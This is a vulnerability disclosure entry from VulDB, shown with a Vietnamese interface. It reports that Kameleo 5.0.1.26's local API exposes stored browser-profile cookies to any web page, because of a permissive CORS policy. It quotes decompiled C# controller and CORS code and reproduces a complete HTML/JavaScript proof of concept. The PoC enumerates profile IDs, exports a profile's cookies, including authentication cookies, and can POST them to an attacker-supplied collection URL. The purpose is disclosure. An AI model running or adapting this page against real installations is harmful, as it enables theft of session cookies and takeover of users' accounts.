Gửi #1011321: https://kameleo.io/ Kameleo 5.0.1.26 exposure of the user cookiethông tin

tiêu đềhttps://kameleo.io/ Kameleo 5.0.1.26 exposure of the user cookie
Mô tả ## Vulnerability Description A profile-cookie disclosure vulnerability affects `GET /profiles/{id}/cookies`. When a user with the Cookie and Automate capabilities opens an attacker-controlled page, the page can first obtain a profile ID from `/profiles` and then read the eligible profile’s persisted cookies, including authentication cookies and other site state. A subscription without the Cookie capability stops at the server’s `403 no_cookies_capability` response; that response is a capability gate, not an empty cookie jar. ## Vulnerability Principle The server-side chain is visible in the decompiled controller and use case. `CookieController` binds the attacker-supplied GUID directly into the request: ```csharp [HttpGet("", Name = "ListCookies")] public async Task<IActionResult> ListCookies(Guid guid, CancellationToken ct) { ListCookiesResponse result = await listCookiesUseCase.HandleAsync( new ListCookiesRequest { ProfileId = guid, Platform = GetPlatform(), Framework = GetFramework(), CancellationToken = ct }); return result.State switch { ListCookiesResponseEnum.Success => Ok(result.Cookies), ListCookiesResponseEnum.NoCapability => Problem(HttpStatusCode.Forbidden, ErrorCode.NoCookiesCapability, null), _ => ... }; } ``` `client-engine-application/w.cs` first calls `CheckSessionCapability(SwitchCapabilityEnum.Cookie)`, then checks that the profile exists, is not in a transient/running state, verifies the cookie database, and finally calls `ICookieService.ListCookies(profile)` before returning the cookie list. The authentication middleware only demands a TOTP header for non-anonymous endpoints when the session lacks `Automate`; a session with that capability reaches this action without a browser-supplied token. The CORS policy in `Startup` supplies the cross-origin read path. In `app_unpacked/server-source-decompiled/Kameleo.Engine/Api/Startup.cs`, the server installs this default policy: ```csharp services.AddCors(delegate(CorsOptions corsOptions) { corsOptions.AddDefaultPolicy(delegate(CorsPolicyBuilder corsPolicyBuilder) { corsPolicyBuilder.AllowAnyOrigin().AllowAnyMethod().AllowAnyHeader() .SetPreflightMaxAge(TimeSpan.FromMinutes(10.0)); }); }); ``` The same file places `app.UseCors()` in the request pipeline before the controller endpoints. This is the Local API’s own response and preflight policy, so the browser page can reach and, where applicable, read the Local API response. ## Vulnerability PoC The following PoC is copied verbatim from `04-cookies-export.html`: ````html <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>④ Cookie exposure</title> <style> :root { --bg:#0f1115; --card:#171a21; --line:#262b36; --fg:#e6e9ef; --mut:#9aa4b2; --ok:#2bd873; --warn:#f5a524; --bad:#ff5c5c; --acc:#4c9aff; } * { box-sizing:border-box; } body { margin:0 auto; max-width:900px; padding:24px; background:var(--bg); color:var(--fg); font:14px/1.55 -apple-system,Segoe UI,Roboto,Helvetica,Arial,sans-serif; } h1 { font-size:20px; margin:0 0 4px; } .sub,.desc { color:var(--mut); } .sub { margin:0 0 18px; } .cfg,.card { background:var(--card); border:1px solid var(--line); border-radius:10px; padding:14px 16px; margin-bottom:14px; } .cfg { position:sticky; top:0; z-index:2; } .kv { display:flex; flex-wrap:wrap; gap:8px 14px; align-items:center; } .kv b { color:var(--mut); font-weight:600; } code,.mono { font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,monospace; } .ep { color:var(--acc); font-size:12px; margin:4px 0; } button { background:#222835; color:var(--fg); border:1px solid var(--line); border-radius:7px; padding:8px 14px; font-size:13px; cursor:pointer; margin:8px 6px 6px 0; } button:hover { border-color:var(--acc); } button.danger { border-color:#4a2020; background:#2a1414; color:#ff9a9a; } input { background:#0d0f14; color:var(--fg); border:1px solid var(--line); border-radius:6px; padding:6px 9px; font-size:13px; } pre { background:#0d0f14; border:1px solid var(--line); border-radius:8px; padding:11px; overflow:auto; max-height:420px; font-size:12px; white-space:pre-wrap; word-break:break-word; margin:6px 0 0; } pre:empty::before { content:"Output will appear here after you click the button."; color:#5b6373; } .ok{color:var(--ok)} .bad{color:var(--bad)} .warn{color:var(--warn)} .tag { display:inline-block; font-size:10px; font-weight:700; padding:1px 7px; border-radius:20px; margin-left:6px; vertical-align:middle; } .t-read{background:#2a2410;color:var(--warn)} .t-write{background:#2a1414;color:var(--bad)} a { color:var(--acc); } </style> </head> <body> <h1>④ Cookie exposure <span class="tag t-read">READ</span></h1> <p class="sub">Single-feature standalone test page; target: <span class="mono ok" id="tgt">localhost:5050</span>. <a href="index.html">Back to feature list</a></p> <div class="cfg"> <div class="kv"> <span><b>Target:</b> <input id="host" value="localhost" size="10" onchange="refresh()">:<input id="port" value="5050" size="5" onchange="refresh()"></span> <span><b>Optional collection endpoint:</b> <input id="beacon" placeholder="https://example.test/collect" size="30"></span> </div> </div> <div class="card"> <div class="ep mono">Step 1 — GET /profiles</div> <div class="desc">Retrieve the available profile IDs before requesting a profile's cookies.</div> <button onclick="loadProfileIds()">Get profile IDs</button> <pre id="profiles-out"></pre> </div> <div class="card"> <div class="ep mono">Step 2 — GET /profiles/{id}/cookies</div> <div class="desc">Use a profile ID returned by Step 1, or paste a known ID, and export that profile's cookies.</div> <div class="kv"><b>Profile ID:</b><input id="pid" list="profile-ids" placeholder="Select or paste GUID" size="42"><datalist id="profile-ids"></datalist></div> <button onclick="cookiesGet()">Export cookies</button> <pre id="out"></pre> </div> <script> const $ = id => document.getElementById(id); const B = () => 'http://' + $('host').value.trim() + ':' + $('port').value.trim(); function refresh(){ $('tgt').textContent = $('host').value.trim()+':'+$('port').value.trim(); } function set(el, msg, cls){ $(el).innerHTML = cls?'<span class="'+cls+'">'+msg+'</span>':msg; } function pretty(v){ try{ return JSON.stringify(v,null,2);}catch(_){return String(v);} } async function beacon(tag, data){ const el=$('beacon'); const url=el?el.value.trim():''; if(!url) return; try{ await fetch(url,{method:'POST',mode:'no-cors',headers:{'Content-Type':'text/plain'},body:JSON.stringify({tag,page:location.href,target:B(),ts:Date.now(),data})}); }catch(_){} } async function reach(path, method='GET'){ try{ await fetch(B()+path,{method,mode:'no-cors',cache:'no-store'}); return {reached:true}; } catch(e){ return {reached:false, err:e.message}; } } async function read(path, method='GET'){ const r=await fetch(B()+path,{method,mode:'cors',cache:'no-store'}); const txt=await r.text(); let json=null; try{json=JSON.parse(txt);}catch(_){} return {status:r.status, txt, json}; } window.addEventListener('DOMContentLoaded', refresh); async function loadProfileIds(){ $('profiles-out').textContent='GET /profiles ...'; try{ const r=await read('/profiles'); const profiles=Array.isArray(r.json)?r.json:(r.json?.items||r.json?.data||[]); const ids=profiles.map(profile=>profile?.id||profile?.Id||'').filter(Boolean); const list=$('profile-ids'); list.innerHTML=''; ids.forEach(id=>{ const option=document.createElement('option'); option.value=id; list.appendChild(option); }); if(ids.length && !$('pid').value.trim()) $('pid').value=ids[0]; $('profiles-out').textContent='Status '+r.status+' — '+ids.length+' profile ID(s)\n'+(ids.length?ids.join('\n'):'No profile IDs were returned.'); }catch(e){ set('profiles-out','Unable to read profile IDs: '+e.message,'warn'); } } async function cookiesGet(){ const id=$('pid').value.trim(); if(!id) return set('out','Enter a profile ID first.','warn'); set('out','GET /profiles/'+id+'/cookies ...'); try{ const r=await read('/profiles/'+encodeURIComponent(id)+'/cookies'); set('out','Status '+r.status+'\n'+pretty(r.json??r.txt)); beacon('cookies',{id,data:r.json??r.txt}); } catch(e){ set('out','CORS blocked response reading, but the request reached the engine: '+e.message,'warn'); } } </script> </body> </html> ````
Nguồn⚠️ https://drive.google.com/file/d/1BafyXWX1cUGF6XdI_P1flM1uNyyzHF-w/view?usp=drive_link
Người dùng
 researchersongwu (UID 100991)
Đệ trình02/10/2026 13:19 (cách đây 24 ngày)
Kiểm duyệt25/10/2026 20:17 (23 days later)
Trạng tháiđược chấp nhận
Mục VulDB426307 [Kameleo đến 5.3.1 Cookie Controller w.cs CookieController.ListCookies guid tiết lộ thông tin]
điểm20

Do you want to use VulDB in your project?

Use the official API to access entries easily!